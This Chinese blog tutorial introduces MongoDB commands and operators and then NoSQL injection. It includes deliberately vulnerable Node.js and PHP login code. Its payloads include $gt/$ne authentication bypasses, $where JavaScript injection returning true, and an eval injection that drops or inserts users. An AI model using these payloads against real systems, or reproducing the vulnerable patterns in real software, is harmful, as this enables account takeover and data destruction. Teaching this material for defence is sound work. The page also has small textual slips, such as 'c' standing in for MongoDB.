NoSQL注入从零开始

4次阅读
没有评论

共计 4698 个字符,预计需要花费 12 分钟才能阅读完成。

什么是NoSQL?

NoSQL就是 Not Only SQL,我们知道常见的数据库除了有Mysql,SQLITE,MSSQL这种关系型数据库以外还有MongoDB这种非关系型数据库。
由于NoSQL具有较于传统数据库的大数据量、高拓展性、灵活等优势,使用量也日益增长。

c基础

可以去runnoob看看
c 是一个文档型数据库,数据以类似 JSON 的文档形式存储。

MongoDB 的设计理念是为了应对大数据量、高性能和灵活性需求。

MongoDB使用集合(Collections)来组织文档(Documents),每个文档都是由键值对组成的。

  • 数据库(Database):存储数据的容器,类似于关系型数据库中的数据库。
  • 集合(Collection):数据库中的一个集合,类似于关系型数据库中的表。
  • 文档(Document):集合中的一个数据记录,类似于关系型数据库中的行(row),以 BSON 格式存储。
    NoSQL注入从零开始

MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成,文档类似于 JSON 对象,字段值可以包含其他文档,数组及文档数组:

NoSQL注入从零开始
建议看下这个20分钟入门课程,对后面很有帮助mongodb教程

基础命令

这里我们先讲一些MongoDB常用命令

数据库操作

show dbs   #显示数据库

NoSQL注入从零开始

use test  #切换到test数据库

NoSQL注入从零开始

值得注意的是MongoDB和Mysql不同,MySQL不存在一个数据库的时候是无法切换到这个数据库的,但MongoDB可以。但是你需要创建数据后才能在show dbs看到这个数据库

集合操作

MongoDB的集合有点类似MySQL中的表
我们可以使用db.createCollection("test")来创建集合

NoSQL注入从零开始

或者是我们对一个不存在的集合插入数据时就自动创建这个集合了
db.test2.insertOne({name:"Rycarl"})

NoSQL注入从零开始

NoSQL注入从零开始

要查看数据库中所有的集合,我们可以使用show tables 或 show collections
NoSQL注入从零开始

我们可以在find()语句里面插入条件查找我们需要的东西,这同时涉及到一个新的东西——

比较操作符

NoSQL注入从零开始

$eq (等于)

语法格式:

{ field: { $eq: value } }

查找年龄等于 25 的人:

db.collection.find({ age: { $eq: 25 } })

$ne (不等于)

语法格式:

{ field: { $ne: value } }

查找年龄不等于 25 的人:

db.collection.find({ age: { $ne: 25 } })

$gt (大于)

语法格式:

{ field: { $gt: value } }

查找年龄大于 25 的人:

db.collection.find({ age: { $gt: 25 } })

$gte (大于等于)

语法格式:

{ field: { $gte: value } }

查找年龄大于或等于 25 的人:

db.collection.find({ age: { $gte: 25 } })

$lt (小于)

语法格式:

{ field: { $lt: value } }

查找年龄小于 25 的人:

db.collection.find({ age: { $lt: 25 } })

$lte (小于等于)

语法格式:

{ field: { $lte: value } }

查找年龄小于或等于25的人:

db.collection.find({ age: { $lte: 25 } })

$in (值在数组中)

语法格式:

{ field: { $in: [value1, value2, ...] } }

查找年龄在 20、25 和 30 岁之间的人:

db.collection.find({ age: { $in: [20, 25, 30] } })

$nin (值不在数组中)

语法格式:

{ field: { $nin: [value1, value2, ...] } }

查找年龄不在 20、25 和 30 岁之间的人:

db.collection.find({ age: { $nin: [20, 25, 30] } })

NoSQL注入

和SQL注入原理一样是将代码和用户输入的边界混淆

nodejs

例如

const express = require('express');
const { MongoClient } = require('mongodb');
const app = express();

app.use(express.json());

app.post('/login', async (req, res) => {
  const client = new MongoClient('mongodb://localhost:27017');
  await client.connect();
  const db = client.db('myDatabase');
  const user = await db.collection('users').findOne(req.body);

  if (user) {
    res.send("登录成功!用户ID: " + user._id);
  } else {
    res.send("登录失败");
  }
  await client.close();
});

app.listen(3000, () => console.log('服务已启动'));

当我们的Content-Type为application/json时,后端会自动将json转换成对象导致NoSQL注入
假设我们传个
{“username”: “admin”, “password”: {“$gt”: “”}}

服务器后端将password的值实例化成对象传入导致NoSQL注入

这个password的值是{“$gt”: “”},就是大于空字符串的,只要密码存在肯定大于空字符串,即恒为真。

php

演示代码

// 假设这是你的登录处理逻辑
$username = $_POST['username']; 
$password = $_POST['password'];

// 程序员以为 $username 和 $password 一定是字符串
$filter = [
    'username' => $username,
    'password' => $password
];

// 直接将数组传给 MongoDB 驱动
$user = $collection->findOne($filter);

if ($user) {
    echo "登录成功";
}

在 PHP 中,如果你通过 POST 或 GET 提交参数时使用了方括号(比如 username[foo]=bar),PHP 会自动将其解析为关联数组

当我们传入username[$ne]=&password[$ne]=时候被解析为数组
会返回查找用户名不为空且密码不为空的用户,数据库直接返回第一条符合条件的记录(通常就是管理员),登录瞬间被绕过。

联合注入

类似于SQL注入,代码对查询语句进行了字符串拼接,然后直接查询:

$query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";

可以这样构造:

?username=test'});return {username:db.version(),password:1};})//

MongoDB支持JavaScript,所以有了上面的操作,可以看到payload里利用了注释符,思路和SQL注入一样

不过现在的PHP等语言的驱动,好像不能直接拼接,必须要像之前的那样数组的方式来查询了,所以这个可能用处不大,但是既然支持JavaScript,那么也就表明,我们可以借助JavaScript来进行一些攻击

MongoDB Server-Side JavaScript Injection

MongoDB 允许在服务器端执行 JavaScript,主要通过以下几个核心功能/操作符:

  • $where: 它允许你传入一个 JavaScript 字符串,该字符串在服务器上对每个文档进行求值。

  • mapReduce: 通过编写 map 和 reduce 函数来处理数据。

  • group: 分组查询(现已基本废弃,但旧系统可能存在)。

  • eval (已废弃): 直接在服务器上运行一段 JS 代码。

当你在代码中拼接字符串并将其传入这些函数时,攻击者就可以通过闭合你的字符串,插入他们自己的逻辑,甚至执行恶意系统操作。

比如这里

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$function = "
function() { 
    var username = '".$username."';
    var password = '".$password."';
    if(username == 'admin' && password == '123456'){
        return true;
    }else{
        return false;
    }
}";
$query = new MongoDB\Driver\Query(array(
    '$where' => $function
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count>0) {
    foreach ($result as $user) {
        $user=(array)$user;
        echo '====Login Success====<br>';
        echo 'username: '.$user['username']."<br>";
        echo 'password: '.$user['password']."<br>";
    }
}
else{
    echo 'Login Failed';
}
?>

如果我们传入payload: ?username=test&password=a';return true;var c=',js就会变为:

function() { 
    var username = 'test';
    var password = 'a; return true; var c='';
    if(username == 'admin' && password == '123456'){
        return true;
    }else{
        return false;
    }
}

MongoDB Shell注入

在php中MongoDB是有eval函数的,如果eval执行的语句里面有拼接用户输入就会导致shell注入

比如

<?php
$m = new MongoDB\Driver\Manager;

// Don't do this!!!
$username = $_GET['field'];
// $username is set to "'); db.users.drop(); print('"

$cmd = new \MongoDB\Driver\Command( [
'eval' => "print('Hello, $username!');"
] );

$r = $m->executeCommand( 'test', $cmd );
?>

这里直接将$username拼接进语句然后执行shell命令,我们可以闭合后执行其他语句(有点像堆叠注入)
我们同样可以构造payload: '});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'进行插入操作,因为是直接操作的mongodb shell,所以在shell里能做的增删改查,我们都可以做。

参考文章:
https://chenlvtang.top/2021/09/29/NoSQL%E6%B3%A8%E5%85%A5%E3%81%AE%E5%88%9D%E8%A7%81/

正文完
 0
Rycarl
版权声明:本站原创文章,由 Rycarl 于2026-03-06发表,共计4698字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)
验证码